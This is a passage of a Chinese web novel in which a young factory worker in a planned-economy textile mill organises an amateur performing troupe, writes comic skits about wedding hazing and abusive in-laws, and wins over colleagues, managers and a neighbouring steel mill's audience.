她说起宣传科要准备节目的事:“我听何科长那意思,文工队不但要在咱们厂演出,还有可能到兄弟姐妹厂子演出,甚至有可能去乡下演出,要是弄好了,能扩大咱们纺织厂的影响力。” 纺织厂属于轻工业,不是国家重点扶持项目,全国到处都有这样的厂子,想要搏出位只能靠别的。 吴明珠想了想,说:“听你这么一说,我也觉得文工队不是件小事。” 宋知南接着说:“明珠,以你的身份、才气、号召力,要是没你的加入,我总觉得文工队缺少了灵魂。” 李群英在旁边听得心头一跳,来了来了,知南又开始她的忽悠大法了。 吴明珠笑着问:“文工队的灵魂不应该是你吗?怎么成了我了?” 宋知南一本正经地说:“你只看到表面,没看到本质。我是新来的,年纪太小,不能服众。而且我又是借调到宣传科的,我们科另外三人,两个男同志一个女同志,年纪都比得大很多,你说他们三个职场老油条,能听咱们年轻女同志的指挥?” 吴明珠点头:“你说得也是。” 她考虑一会儿,说:“那我让我爸帮帮你,给他们下命令,让他们必须好好配合你?” 宋知南摇头:“这也是一个办法,但不到最后不能用。我的想法是他们不是看不起咱们吗?咱们就用实际行动打他们的脸,要让他们看看咱们的实力。” 吴明珠听着略有点心动。 宋知南接着说:“明珠,你就加入我们吧。咱们三个就是纺织厂铁三角,黄金搭档,所到之处,闪瞎他们的狗眼。你是时候向你爸妈证明你可以独挡一面了。” 这个理由让吴明珠更心动,哪个二代不想向父母和旁人证明自己?皇二代想,富二代想,厂二代也想啊。劝人就要抓住客户的核心需求。 吴明珠低头考虑片刻,说:“行,我可以帮你。” “奥耶,明珠你真仗义。对了,你和诗月下班后来我家一趟,我请你们吃晚饭,咱们顺便商量一下节目的事。” 游说完吴明珠,宋知南也没忘了陆诗月:“诗月,你也是我们中的一员,我们的编剧工作少不了你这个大才女。我们要是有补贴啥的,也必须得有你的一份。” 陆诗月说:“编剧的事我可以帮忙,但没法陪你们到处演出。因为明珠去帮你们,我得留在广播站值班。” “没问题,一切以你的时间为准。” 搞定吴明珠和陆诗月,两人朝工厂外面走去。 李群英说:“知南,你这招真高明,只要吴明珠肯加入我们,咱们申请经费什么的就方便多了。” 宋知南:“我主要是冲着吴明珠这个人去的,长得那么漂亮又那么有才华,还正义善良,谁不喜欢呢。” 宋知南在路上遇到买菜的大爷大妈,她托人告诉王翠花,让她有空来找自己。 王翠花现在无业,时间比较自由,也可以加入她们。 王翠花正好在菜店买菜,听说宋知南有事找自己,急匆匆地就赶来了。 “宋同志,李同志,你们找我啥事啊?” 宋知南热烈邀请王翠花:“王姐,咱们纺织厂要成立一个文工队,我想着你没有工作,第一个就想到了你。” 王翠花面带诧异:“我这样的也能进文工队?我也不会唱不会跳,长得还不好看,能行吗?” 宋知南:“怎么不行啦?咱文工队不止是唱跳,还要演小品话剧啥的,再说了你这长相多好,大气有排面,朴实又健康,咱们无产阶级的女同志就该长你这样。” 王翠花既兴奋又忐忑。 宋知南接着说:“我给你量身定做了一个节目,叫《乡下媳妇城里郎》讲的就是你家那些事,你只要本色演出就行。 你演这个节目,一是抒发抒发你的心情,放松放松;二是让你婆婆男人孩子对你刮目相看,你是有潜力的,就是被耽误了;三嘛,要让那些跟你一样处境的女同志也看看,引起她们的共鸣。” 王翠花听得双眼骤放光芒,当下爽快地说:“行,我跟着你干,你让我干啥就干啥。” 宋知南想了想,秉着有枣没枣打一杆子的想说,就说:“王姐,我还有一个事麻烦你,我们宣传科的那帮老油条,又滑又没本事,我全都看不上,打算踢开他们自己干。只是这样一来,咱们的人手就不够了。你认识的人多,有没有推荐的人?” 王翠花低头想了片刻,就说:“我还真有一个人选,我家对门的邻居叫牛春草,跟我婆婆是死对头,两人见面就掐。但她跟我关系不错。你说让她来演婆婆这一角怎么样?” 宋知南一拍大腿:“王姐,你真是个人才。这绝对可以。” 王翠花爽朗一笑,比宋知南本人还着急:“那我现在就回去找她。” 王翠花像一阵旋风似地离开了。 李群英和宋知南相视一笑,又搞定一个。事情的推进很快嘛。 也就过了十几分钟吧,王翠花领着一个五十来岁,腿脚利落的阿姨一路小跑过来了。 宋知南一看这位阿姨,人打扮得精神利落,猛一瞧,长得还有点像蔡明。 宋知南双眼放光,上前两步,握住阿姨的手,热情地说:“牛阿姨好,我一看见你就眼前一亮,你这长相这通身的气派,让你演恶婆婆实在是委屈你了。牛大娘你年轻时肯定是厂花吧?” 牛春草满脸都是笑容,得意地说:“嗐,都是过去的事了。我当年就想进文工团可惜没考上。” 宋知南一脸惋惜:“那真是可惜了,这是文工团的损失,他们错过了一个台柱子。” 牛春草脸上的笑容更灿烂了。 宋知南压低声音说:“牛阿姨,我跟你说,你可别告诉别人,《乡下媳妇城里郎》里恶婆婆的原型就是翠花姐的婆婆马五妮。” 牛春草这下更高兴了。 她拍着宋知南的手说:“你放心,我一定给你演好了。” 她演得越深入人心,大家骂马五妮骂得越狠,她的心情就越好。 两人越说越开心,最后宋知南干脆决定把人带回自己家,她们在院子里一边喝茶吃饼干,一边聊戏。 这次聊的戏自然是《乡下媳妇城里郎》,都不用看剧本,王翠花和牛春草是一秒入戏。 宋知南灵感爆发,中途给恶婆婆加了几句台词:“我淋过雨,所以一定要撕碎你们年轻媳妇的伞。多年的媳妇熬成婆,我不耍威风,我岂不是白熬了吗? 我当年被人歧视过,所以我也歧视你,并且歧视得更狠,才能出了我胸中那口积年的恶气。” 牛春草拍着大腿叫好:“哎呀妈呀,这句话写得真好,就是这么个味儿。” 王翠花激动得脸蛋通红:“宋同志,我一定能演好这个角色,这就是演我自个儿啊。” 宋知南说道:“我宣布,咱们红星纺织厂星星之火文工队正式成立。” 80-90 第81章 这一下午的时间, 李群英和宋知南写剧本,写完一段就念给王翠花和牛春草听, 两人时不时地提点意见和点子。 宋知南觉得合适的就直接修改,这让两人愈发有参与感。 四点钟左右,宋知夏提着一篮子东西进来了。她悄悄告诉宋知南,她已经打听到霍峥嵘的父亲要判20年,不久就要发配到边疆劳动改造。 宋知南冲宋知夏竖了下大拇指,夸她打探消息打探得好。 宋知夏抿嘴一笑,坐在一边旁听,听完问妹妹:“小南,这次没有关于新媳妇的故事吗?”她有一肚子的话要说。 宋知南看了姐姐一眼,豪气地说:“我有空给你写一个,谁让你是我姐呢。” 宋知夏站起来说道:“那你们接着聊, 我去做饭。” 王翠花赶紧起身:“知夏妹子, 我来帮你。” 其他三人也起身去帮忙, 宋知南和李群英被另外三人赶出来了。 宋知夏嫌宋知南费油,王翠花嫌李群英干活不利落, 让两人出来写剧本。 两人在院子里商量剧本, 吴明珠和陆诗月来了。 这下变成四人讨论组。 吴明珠坐下来就说:“我想了一下,既然是业余文工队,厂里怎么着也得给咱们拨点活动经费。” 宋知南点头:“明珠,还是你内行,我都没想到这一层。”哪里是没想到,她就想靠吴明珠去要经费。 吴明珠主动说:“经费的事我来办。” 宋知南把下午刚写好的剧本推过去给两人看。 两人看罢,都十分满意。 陆诗月说:“知南, 看你的剧本里有男同志的戏份,还都是反派丑角, 这演员怎么找呢?” “让我弟宋冬宝先顶上。”弟弟就是拿来用的。 牛春草正好出来洗菜,听见她们的话,便接过话:“我小儿子牛奔在家闲着,我把他薅来帮忙。” 半小时后,晚饭好了。大家到堂屋坐下来吃饭。 桌子正中央放着一白瓷盆猪肉炖白菜粉条,木耳炒鸡蛋,红烧豆腐,白菜心凉拌豆皮,每道菜的份量都很大。 牛春草和王翠花说:“小宋,你今天真是破费了,下次可不能这样了。”这年头谁家都不宽裕,经常这么请,得把宋知南吃穷了。 宋知南从屋里抱出一坛子米酒,给每人倒了一小碗,说道:“都是些粗茶淡饭,大家别客气。” 大家笑着干了一杯,吴明珠也挺开心,本来她还怕自己跟这些人格格不入,没想到大家的背景年龄差距那么大,竟然相处得十分融洽。 牛春草年纪最大,说话有点刻薄,但刻薄得很有意思。时不时地逗得大家嘎嘎直乐。 王翠花朴实能干,对谁都挺和气。 宋知夏会揣摩人心,对每个人都很客气周到。 李群英沉稳大气,很有号召力。 至于宋知南,她是牵头人,自然是人群中的焦点。她光芒四射但并不刺眼,也没有要压谁一头的意思。大家插科打诨说说笑笑,氛围轻松热闹。 宋知南吃完饭正式宣布她们文工队的名字和纲领,“咱们队的名字叫星星之火文工队,寓意为星星之火,可以燎原。咱们志在解放全人类,目前先解放女性。思想舆论的阵地,咱们不去占领,别人就会去占领,还不如咱们先占领。大家要有信心,别觉得咱们是业余的就妄自菲薄,其实别人比咱们更差。” 牛春草带头鼓掌叫好:“小宋说得好。” 宋知南接着说:“以后,每周的二四六晚上来排练,周日有演出就去演出,没有就在我家全天排练。大家没问题吧?” 大家考虑一会儿,都说没问题。 宋知南接着说:“咱们的队长人选也确定一下。” 吴明珠先发言:“先说好,我要管着广播站那一摊子的事,抽不出太多时间来,我只能给你们当顾问。我建议知南当队长,群英当副队长。” 牛春草年纪最大,她接着发言:“我觉得明珠说得对,她还有广播站那一摊子要管,当咱们队的总顾问挺合适的。小宋当队长,小李当副队长就挺合适。” 宋知南说:“既然如此,那我就恭敬不如从命。我和群英是为大家服务的,就是大家的勤务兵。我提名牛阿姨和翠花姐做为咱们队的外交部长,以后专门负责对外联络演出事宜,诗月是咱们的总编剧,我二姐宋知夏是后勤部长。” 众人相视大笑,好家伙,总共六个人,都当上官了。 宋知南严肃地说:“这只是一个开始,后面还会有更多的人加入进来,咱们得把干部班子搭建起来。还有就是,咱们如果有机会到外面的工厂和乡下演出,可能会有补贴之类的,如果有,咱们全体都有份。” 这一点大家自然同意。只是她们都有点疑惑,真有别的工厂邀请她们演出吗? 晚饭吃完了,会也开完了,大家寒暄几句,各自散去。 宋知南和李群英都是执行力很强的人,第二天两人就开始行动,吴明珠行动也很快,当天就去厂办申请了50块钱的活动经费。 宋知南不由得对她竖起大拇指:“你不愧是我们星星之火的灵魂啊,你出马,一个顶俩。” 吴明珠把钱交给宋知南,交代她记好帐。 宋知南转头把钱交给李群英,让她管帐。 李群英开始盘算这钱怎么花,才能把每一分钱都花到刀刃上。 首先,队旗得做,这是门面。服装也得有,简单的道具也要有。这一做预算,50块钱根本不够,李群英愁得直揪头发。 宋知南思忖片刻,决定去找吴厂长聊聊。 她把几个剧本装订好,说要拿给吴厂长审查,便进了厂长办公室。 吴厂长看到宋知南,态度十分和煦:“小宋来了,你们的文工队筹建得怎么样了?” 宋知南双手递上剧本,“吴叔,这是我们写的剧本,您给把把关。” 吴厂长接过剧本,认真地翻看起来。 过了一会儿,他慢条斯理地说道:“剧本写得不错,台词也很有意思。” 宋知南接着说:“吴叔,我是这么打算的。这不是很快就要过年了吗?上级号召咱们工农一家亲,听说咱们隔壁的机械厂去周边农村帮他们修理农具和托拉机,钢铁厂还从农村招了十几个学徒工,我觉得咱们纺织厂也得尽一份力。” 吴厂长嗯了一声,示意宋知南继续往下说。 “我奶奶家就是农村的,他们的物质生活很匮乏,但更匮乏的是精神生活,在乡下看场电影都是件稀罕事,进城也不方便。因此,我想咱们的文工队能不能先在厂里试演几场,若是可以,咱们可以去乡下演出。到时,咱们队伍里就挂一面旗帜,上面写着红星纺织厂星星之火文工队,队员们再穿着统一的纺织厂服装,背后也印着咱们厂的名字,好好地宣传一下咱们红星服装厂。” 吴厂长若有所思,宋知南点到为止:“吴厂长,您忙吧,我回去排练节目。” 宋知南这次没白跑,吴厂长大手一挥给他们文工队批了三十米的瑕疵布做队服。 队员们不舍得花钱去外面做,李群英干脆把自己家的缝纫机搬到宋知南家做衣服,正好,牛春草王翠花都会做衣裳。至于纺织厂的标志就给它绣上去。 大家各有各的活,忙得脚不沾地。两人男演员牛奔和宋冬宝也很快到位。 牛奔长得挺喜庆,黑皮,白牙,一笑起来贱不嗖嗖的,神似某个喜剧演员。 牛奔在家里就是个活宝,略有点表演天赋,他跟牛春草说话时就跟说相声似的。 小伙子对于自己的角色不太满意:“咋就没有正面的男性角色呢?我们男人也有好的。” 宋知南说:“职业不分贵贱,演员不分正反,你这是为艺术献身。” 牛奔强颜一笑:“行吧,献身就献身。” 她们试演的那天刚好是星期天,吴明珠特地让后勤部给她们腾了一间空房排练,还搭好简单的舞台,话筒桌椅样样俱全,宋知南十分满意。 她们没有特意通知别人,但大家伙都知道了,凡是能来的都来了,房间里的观众席上挤满了人,窗户外面也挤满了密密麻麻的脑袋。 王翠花和宋冬宝一看这阵势,不禁有些紧张。 宋知南鼓励道:“别在意,就当那些脑袋是土豆,他们都是土豆。” 大家忍俊不禁,一起笑了起来,这一笑,紧张倒是淡了不少。 宋知南又说:“你们放心好了,我带着你们,绝对没事儿。” 宋知南怕大家出糗,影响他们的信心,干脆临时调整节目顺序,先试演群戏,大家一起上,人多凑胆子,能缓解紧张的情绪。 第一个节上是比较热闹的《荒唐的婚闹》,因为男演员不够,宋知南只能临时抓差,把观众席里保卫科的赵大刚、小刘、老陆叫上来充当群演。 赵大刚、小刘和牛奔扮演三个婚闹的流氓,牛奔流里流气地先上来:“本人陶剑,我爹叫陶大奋,同学们给我起绰号叫陶粪缸,陶贱贱。他们都说我是豆腐渣,可我觉得自个儿是一朵花。” 台下观众们哄堂大笑。 牛奔入戏很快,把赵大刚和小刘也给带进去了,两人逐渐进入状态。 三个流氓盯上了牛大妈家的漂亮闺女王小花,就想借着婚闹揩油占便宜。 牛大妈迈着舞台步,昂首挺胸走上前,铿锵有力地怒斥三人:“三个小流氓,也敢惹老娘。小南你一起上,打得他们哭爹喊娘;小宝你也一起来,扒了他们的裤子晒太阳,老娘倒要看看你们哪儿痒。” 这台词朗朗上口又酣畅淋漓。 观众席中发出一阵大笑:“哈哈哈哈。”笑声几乎掀翻了屋顶。 第82章 宋知南和宋冬宝蹬蹬跑上台, 两人一人手持一根宽皮带,对着三人就打。 宋冬宝冲上去扒裤子, 可能是上次扒习惯了,这一次差一点就把牛奔的裤子给扒了下来。 牛奔双手提着裤腰,咬着牙根小声提醒宋冬宝:“哎哎,冬宝你作作样子就行了,你可别真扒呀。”说是为艺术献身也不能牺牲这么大呀。 宋冬宝回过神来,讪笑着收回了手。 赵大刚和小齐在旁边听见了,噗嗤一声笑了起来。笑完,两人想起这是在演戏呢,赶紧接着入戏,他们假装被打痛了,哎哟哎哟叫个不停。 这中间, 陶剑的爹陶大奋出场怒骂牛大妈等人。 宋知南针锋相对, 激情骂人:“快刀不磨是块铁, 爹不教儿何成爹?你反动你儿混蛋,你们全家都是王八蛋。想借婚闹占便宜, 也不看看惹的是谁。” 陶大奋气得老脸通红, 险些昏倒。 接着有理中客上场和稀泥,宋知南挨个怼回去:“我们刚才有难你装聋作哑,现在和稀泥你一个顶俩。你就是那趴窝的破拖拉机,不会打鸣的老公鸡,你数数你算老几?怎么哪儿都有你?” 屋里屋外的观众一起发出爆笑声,前些日子他们就听说婚礼现场特别热闹,有些人惋惜没有亲临现场观摩, 现在好了,全部看到了。 宋知南高呼一声:“ 菜贱了有人买, 人贱了就得踩。大家要一起狂踩这三个流氓。” 所有演员都上去痛踩三个流氓,流氓三人组吓得哇哇直叫。 节目在牛大妈小南等人的激昂口号中结束:“荒唐婚闹,必须取缔。胜利属于真理,真理属于人民。” 台下响起了暴风雨般的掌声,还有不少人大声叫好。 女同志们鼓掌尤其用力,这个剧说出了她们的心声啊。这种流氓就得狠揍狠骂。以后再遇到婚闹,她们也要像剧中的人一样勇敢反抗。 第二个节目是《乡下媳妇城里郎》,女主角小翠,两条辫子粗又长,为人勤劳又善良。到说亲时,十里八村的媒人踏破了门槛。其中有一个媒人巧舌如簧说要把她介绍到城里享福。小翠的家人信以为真,就同意了这门婚事。 结婚后小翠才知道真相,原来婆家条件很差,房子小人多不说,家里还有两个瘫痪的老人需要照顾,下面还有弟弟妹妹要管。小翠辛辛苦苦地照料老人和弟妹,后来老人走了,弟妹长大了。婆家人翻脸不认人,天天骂她吃闲饭,嫌弃她是乡下人。 不少观众感同身受,气得牙根痒痒。还有个阿姨太入戏,当场抹起了眼泪。 牛春草扮演小翠的婆婆羊得草,羊得草一脸尖酸刻薄相,恶狠狠地说道:“我淋过雨,就一定要撕碎你们年轻媳妇的伞。凭啥我淋雨你打伞?多年的媳妇熬成婆,我不耍威风,我不是白熬了吗?我就要你吃过我吃过的苦。 我也是乡下人,当年也被人歧视过,所以我也要歧视你,并且歧视得更狠,才能出了我胸中那口积年的恶气。” 大家对这个婆婆恨得牙痒痒,有人入戏太深,想上台打她,还好旁边的人及时拉住了。 王翠花的公公已经死了,但宋知南也没有放过他,短短几句话就勾勒出一个看上去像个好人,实际上一点不作为的虚伪丑恶的老男人形象。家里一堆事,他当甩手掌柜;儿媳妇受气,他装聋作哑;什么坏事恶事他推给老伴去做,自己则是干干净净一个好人。 他儿子跟他是一个德性,自己媳妇吃苦受累,他视而不见;媳妇暗暗垂泪,他说爸妈不容易,劝媳妇要忍;媳妇跟老娘发生冲突,他赶紧出门逃避。在外面一提起家里情况,他就唉声叹气,全家就数他最委屈最无辜。 明明是这父子俩造成了婆媳两个的悲剧,他们却抽身成了隐形的局外人,羊得草和小翠两个外人却在这儿斗争不休。 观众议论纷纷:“我说我婆婆也是乡下出身,咋就比城里人更看不起乡下人呢,原来原因出在这儿。” “是啊,有的人就是见不得别人过得好。” “我男人跟小翠的男人一模一样。” “哎妈,我公公跟小翠公公也一个样儿,虚伪的老头子。” “他大爷的,全天下的男人是不是都是一个样啊?” “说得太对了,你说我跟我婆婆两个都是外人,还斗来斗去的,有意思吗?下次再有演出,我把我婆婆叫来,让她好好看看。” 不出意外,这一出戏由于太接地气,引起了大家强烈的共鸣,有人鼓掌,有人笑得捶大腿,也有人若有所思。还有人气得直跳脚,这人就是马五妮和她儿子,王翠花都没告诉俩人,但挡不住别人告诉他们呀。两人看第一个节目笑得挺开心,看第二个节目时,就笑不出来了。两人全程阴沉着脸,听着台下观众的笑声,越听越刺耳。再看看台上倾情演出的王翠花和牛春草,越看越刺眼。 大家很快察觉出了两人的异样,再一结合节目剧情,哎哟,他们发现了一个好玩的真相。 观众们挤眉弄眼,互相传递这个发现。大家伙一边看戏一边频频看向两人,戏精彩,人也精彩。 节目还没演完,马五妮就骂骂咧咧地去找厂领导告状,说宋知南在舞台上辱骂她,让领导给她做主。 贺胜男好声给他们讲道理,说艺术就是源于生活高于生活,要他们做人不要太小气,要顾全大局。 其他人也劝她想开些,就当为厂里做贡献了。况且那些事都是真的,人家小宋又没有瞎编乱造。 马五妮当场怼回去:“要是把你家的事放到舞台上演,搁你,你乐意啊?” 那人答道:“那有啥不乐意的。能让小宋选中你,那是你的荣幸。再说了,舞台上不演出来,大家就不知道你家的事了?附近的人谁不知道你对翠花不满了。” 马五妮气呼呼瞪着那人,又气哼哼地回去了。 星星之火文工队试演第一场就爆火了,工人们纷纷要求多演几场。 吴厂长索性把厂里的小礼堂借给他们用,省得观众没地方坐,舞台也比上次体面多了,道具也更专业了,群众演员也多了。 第一场还是婚闹,这一次吴明珠也上去参演了。大家私下里议论说,这样才对味,王翠花演小翠还行,演被流氓调戏的小花总感觉不对味。 第二次演出,盛况空前,小礼堂里座无虚席。不但全厂职工和领导到齐,就连隔壁机械厂和钢铁厂的职工也来看了。 事情还没完,附近的兄弟姐妹工厂一听纺织厂又出新节目了,而且反响还不错,便争先恐后地打来电话热情邀请文工队去他们厂演出。 电话打到工会孙主席那里,孙主席被人一吹一捧,有点迷糊,头脑一热就答应了。 答应完人家,他赶紧让人把宣传科何科长叫来。 孙主席开门见山地说:“老何,刚才钢铁厂、食品厂和毛巾厂的人打电话邀请咱们的文工队去他们厂演出,我实在无法拒绝就答应了。” 何科长见孙主席已经答应了,只好说道:“人家邀请咱们,是看得起咱们,这也是咱们纺织厂扬名的机会,去就去呗。” 孙主席问道:“我听说,文工队的队长是小宋?” 何科长点头:“目前是小宋和小李在管着。” 孙主席一提到宋知南,脑袋就不由得隐隐作痛,他问道:“小宋在你们科表现如何?” 何科长字斟句酌地答道:“表现得还算可以,小宋同志很有才华,写作口才样样都好。” 孙主席接着问:“她跟同事相处得如何?” 何科长停顿了一下,说:“她跟李群英处得还不错。” 孙主席忍不住敲了一下脑壳,说道:“这个小宋,我是拿她没办法。她确实有两下子,可就是这性子……” 何科长观察着孙主席的脸色,谨慎地说道:“孙主席,我的看法是这样的,小宋是个人才,对于人才,咱还是得用。用了她,也显得做领导的心胸宽广,也能为厂里争光。” 孙主席经何科长一提醒,立即明白了,宋知南确实是个人才,现在也只能用她了。罢了,这节目就让她继续折腾去吧。 孙主席一锤定音:“那就这样吧,你让他们好好准备一下,不要给咱们纺织厂丢脸,我去跟吴厂长和李厂长一声。” 吴厂长听到孙主席的汇报,自然乐见其成。 李副厂长则是默然片刻,说道:“这个小宋还真能折腾,她不是借调到宣传科的吗?怎么还喧宾夺主了?” 不都说强龙不压地头蛇吗?怎么一上去就把宣传科的地头蛇给压下去了?那帮人也挺不中用。 果然,霸道的人到哪儿都霸道,借调到人家科室还能当领头羊,除了她也没谁了。 李副厂长虽然不满,但吴厂长和孙主席都同意,他也不好反对。 何科长一回来就把宋知南叫到小办公室里,笑眯眯地说:“小宋,孙主席大力肯定了咱们的节目,你们要好好排练,这个星期天,咱们去钢铁厂演出。” 宋知南被上次演讲的事弄怕了,先提前打预防针:“何科长,我把丑话说到前面,这次节目演出的效果肯定是不错的,正常观众都喜闻乐见。但是我担心有些小心眼的人看了会起反应,比如给我扣帽子之类的。到时候,您可得替我说话。” 她这么一说,何科长也迟疑了:“节目我都看了,虽然道具简陋,演员演技普通,但故事内容好,台词也挺有意思,观众笑得很开心,这能有什么问题?” 宋知南说:“何科长,你是正常的有胸襟有文化的男观众,你不懂他们那些人的奇葩思想。就拿《上门女婿就是好》这个节目来说,有人会炮轰我,说我提倡男人都当上门女婿,居心不良。” 何科长忍不住笑了:“就算你提倡又怎么了?你提倡你的,他们想当就当不想当就不当。别说是你,就是当领导的,也没强迫谁去当上门女婿呀。” 宋知南叫苦:“何科长,正常的男人都会这么想,问题是有很多人他不正常。我难呀,当女人难,当个有才华有名气的女人更难。” 何科长:“……” 宋知南叫完苦,接着说:“何科长,当然啦,我说的这种情况也不一定会发生。毕竟不正常的人是极少数。最有可能发生的是,咱们纺织厂宣传科这次一定会名声大噪,大家都夸您是个好领导,以后你升职加薪跑不了。” 何科长一脸复杂地看着宋知南,现在不但领导给人画饼,连属下职工也会给领导画饼了。 何科长考虑了一会儿,风险是有点,但收获更大。再说了,就算有风险,他上面还有更大的领导挡着,他怕什么? 何科长谨慎归谨慎,但遇到机会也会牢牢抓住。 他难得果断一回:“小宋,你放心去搞,没事的。” 宋知南从何科长办公室出来,就被钱解放和周有光围住了。 “宋同志,去外面演出可是咱们厂和咱们宣传科的大事,我们不能不参加。” 宋知南阴阳怪气地说:“哎哟,上次让你们参加你们爱搭不理,现在节目练好了,要出结果了,你们来摘桃子了。你们是峨眉山的猴吧,花果山的猴都干不出这样的事。” 杠精值加15。 三人对视一眼,开始一起攻击宋知南。 白红梅说:“姓宋的,你就是故意打压我们仨。” 钱解放接着说:“你在妇联呆不下去了,到我们科作威作幅了。” 周有光大声叫嚣:“你必须得给我们一个说法,不然这事没完。” 宋知南挨个回击:“想挨压,首先你得是块料。就你们仨这材料,外表稀松,内里空空,干啥啥不中。我打压你是为嘛,为了听你脑子里的回声?” 杠精值加5。 “我来你们科就是为了引导你们走上正路,钱解放,你是啥也不懂,就是个永世饭桶。” 杠精值再加5。 “周有光,你想要啥说法?当初是你撺掇他们俩不配合我们,想让我俩当光杆司令,现在计划破产,你当场就变脸。蝙蝠身上插鸟毛,你算什么鸟?真是不要脸他妈给不要脸开门——不要脸到家了。” 三个废物饭桶刚好贡献杠精值15。 第83章 三人说不过宋知南, 气呼呼地去找何科长告状。 周有光先说:“何科长,您管管宋知南吧?她现在霸道得很, 不知道的,还以为她是咱们宣传科的科长呢。” 这就是故意挑拨了。 何科长好声劝道:“小周啊,你别生气也别急。小宋比你年轻得多,性格又有些急,你对她宽容一些。” 钱解放接过话道:“何科长,我们对她够宽容了。” 说着,他加油添醋地把宋知南的话复述了一遍。 白红梅说:“科长,解放说得都是真的,您要是不信,可以把宋知南叫进来对质。” 何科长继续和稀泥:“对什么质?都是一个办公室的,低头不见抬头见, 不要闹得太僵。行啦, 都回去干活吧。我叫小宋进来, 跟她谈谈。” 三人只得悻悻退出去。 何科长无奈,只好把宋知南叫进来谈话。 宋知南一进来不等何科长发话, 就先说道:“何科长, 你看我说什么来着?这演出还没开始呢,奇葩先演上了。当初你可是知道的,是他们躲清闲不干活,想看我俩的笑话,让我们当光杆司令。现在倒好,文工队刚有起色,他们就想摘桃子。你说, 我要是同意了,别的队员会怎么看我?别的职工和干部会怎么看你?厂领导会怎么看你?” 何科长不解:“这里面怎么还有我的事?” 宋知南耐心地给何科长解释:“何科长, 我知道你是个好人,好到连手下的职工都不舍得批评。可是别人不一定这么看呀。周钱白三人,说撂挑子就撂挑子,说摘桃子就摘桃子,这办公室到底是他们管着,还是科长你管着?大家会说你没有领导的威严,没有原则。” 说到这里,宋知南赶紧补充说明:“何科长,这话可不是我说的,是大家伙说的,你要是不信,我现在就去叫说这话的人来。我这人一向光明磊落,做什么都大大方方。” 何科长:“……” 他深深地叹息一声,当个好人不好吗?他谁也不得罪,大家和和气气地多好。如今这个年头,枪打出头鸟啊,低调和气才能保命啊。 宋知南不禁暗自摇头,普通人当个老好人会被吃干抹净,作为领导你想当老好人,没有一个人听你的。 何科长看着宋知南,说道:“小宋啊,你还年轻,等你到我这个年纪就明白了。”想当年他年轻时,好吧,他年轻时也没有这么锐利过。 他接着和稀泥:“小宋,你就给他们三个随便安排点活干。” 宋知南:“何科长,看在你的面子上,我勉为其难地答应了。不过我有原则:我可以安排,如果他们挑挑拣拣不愿意干,那我也没办法。他们无论向谁告状都不好使。我是队长,我得确立我的威信,随便一个人就能挑战我的威严,我这个队长干脆别当了。” 何科长无言以对。 宋知南:“何科长,你这是默认了,行,我知道了,我就不耽误你工作了。” 宋知南转身离开。这个领导确实不给力,搞得她得靠自己把握着谈话的节奏。 宋知南从小办公室里出来,嫌弃地看着周钱白三人,三人也一起瞪着她。 宋知南忍着嫌弃三人派了活:“白红梅,你来文工队来打杂,我们队还缺一个打杂和收拾道具的;周有光,你这满脸油光,挺适合当演员,你来演老流氓和家暴的丈夫;钱解放,你这长相不符合社会主义形象,就留守在办公室吧,咱们办公室总得有人值班吧?” 三个人对这个安排都不满意。 白红梅先嚷嚷:“凭啥让我打杂?我就不能当演员吗?” 周有光也跟着反对:“凭啥让我演老流氓?” 钱解放最委屈:“我长得怎么就不符合社会主义形象了?” 宋知南霸气地说:“何科长说了,让我做主安排。你们爱听听,不爱听拉倒。我是队长还是你们是队长?” 三人又去找何科长告状,何科长一如既往地和稀泥,“小宋心直口快,年纪小,你们跟她计较干吗?谁让你们以前躲清闲,队伍是人家两人拉起来的,我能说什么?” 为了避免双方的战火波及到自己,何科长借口要去跟上级汇报工作,溜了。 三人纵然再不满,也无计可施。周有光和白红梅思来想去,最后决定不去了。 三个人心里都有气,在办公室摔摔打打的。李群英和宋知南在一旁看热闹。 看完热闹,她们两人出门自由活动去了,把舞台留给三人表演。 星星之火文工队巡回演出的第一站是钢铁厂,现在队伍里有了三辆自行车,牛春草家贡献一辆,李群英家出一辆,吴明珠把她家的一辆旧自行车也贡献出来了。这三辆自行车主要用来驮一些服装和道具,以及大家的饭盒之类的东西,回来时驮别人送的东西。车队有李群英带领,队员有宋冬宝和牛奔。 演出地点离得近,其余队员就步行过去。要是离得远,她们就坐公交车过去汇合,公交车票报销。 钢铁厂离他们不太远,车队先出发,其余队员步行过去汇合。 宋知南挺喜欢钢铁厂的,因为人家大方。上次她来演讲不但给了20块钱的补贴,还给了她一口铁锅。这次是团队来演出,她估摸着对方不得补贴更多? 她们的演出地点在钢铁厂的大礼堂,人家这礼堂比纺织厂的气派多了。看得队员们直呼羡慕。 人家不但礼堂宽敞气派,厂子里各种设施还特别齐全,光食堂就有三个,宿舍楼二十多栋,电影院邮局商店澡堂托儿所样样俱全。 大家一看人家这排场,不由得有些气弱。 王翠花说道:“小宋,你说人家是大厂子的工人,什么世面没见过?会喜欢咱们的演出吗?” 其他人心里也直打鼓,一齐看向宋知南。 宋知南自信地说:“放心吧,他们肯定喜欢。我敢确定,他们这辈子都没看过这么精彩的节目。你们忘了我上次来做演讲的事吗?他们都哭着喊着不舍得放我走。 他们确实听说宋知南上次在这儿演讲得非常成功。 “哇,你真厉害呀。” 宋知南接着说道:“你们都给我打起精神来,要自信。今天就让咱们这星星之火,点燃了他们钢铁厂,让他们的炉火烧得更旺。” 宋知南说得没错,当天的演出相当成功,爆笑声一阵一阵地传出来。 钢铁厂的工人是看过不少节目,但这么接地气又鲜活生动的节目他们可没看过。特别是,宋知南在他们钢铁厂也是小有名气的名人,上次的演讲他们还记忆犹新呢。这回,工人们一听说宋知南是队长,没有丝毫迟疑地就来了。 演出结束,钢铁厂的会计来给他们发补贴,这次的补贴现金不多,只有30块钱,但其他的东西相当可观,就比如说,还给他们每人发了3张澡票,每人一张电影票,还有一摞食堂饭票。钢铁厂的食堂是有名的好吃。 中午,他们大家就在钢铁厂食堂吃饭,众人大快朵颐,一边吃一边羡慕:“他们食堂的饭菜比咱们厂好吃多了,油水很多,我打到了两块肥肉。” 旁边的钢铁厂工人骄傲地挺起胸脯,打量了他们一眼:到底是小厂子来的,没见过什么世面。 甚至还有人送给他们一盘山楂糕,说他们因为饭菜油水太大,吃完饭得吃山楂糕来帮助消化。 众人:“……” 宋知南和李群英相视而笑,这种高级的秀优越感法倒挺有意思。 众人吃饱喝足,牛奔还故意扶着桌子起身:“哎妈,吃撑了,得扶着桌子起来。” 周围的工人:“哼,我就说吧。果然是小厂来的。” 众人出了钢铁厂大门,不约而同地哈哈大笑起来。 这一幕很快就被人传了回去:纺织厂的那帮人太羡慕咱们钢铁厂,看着大门都笑个不停。 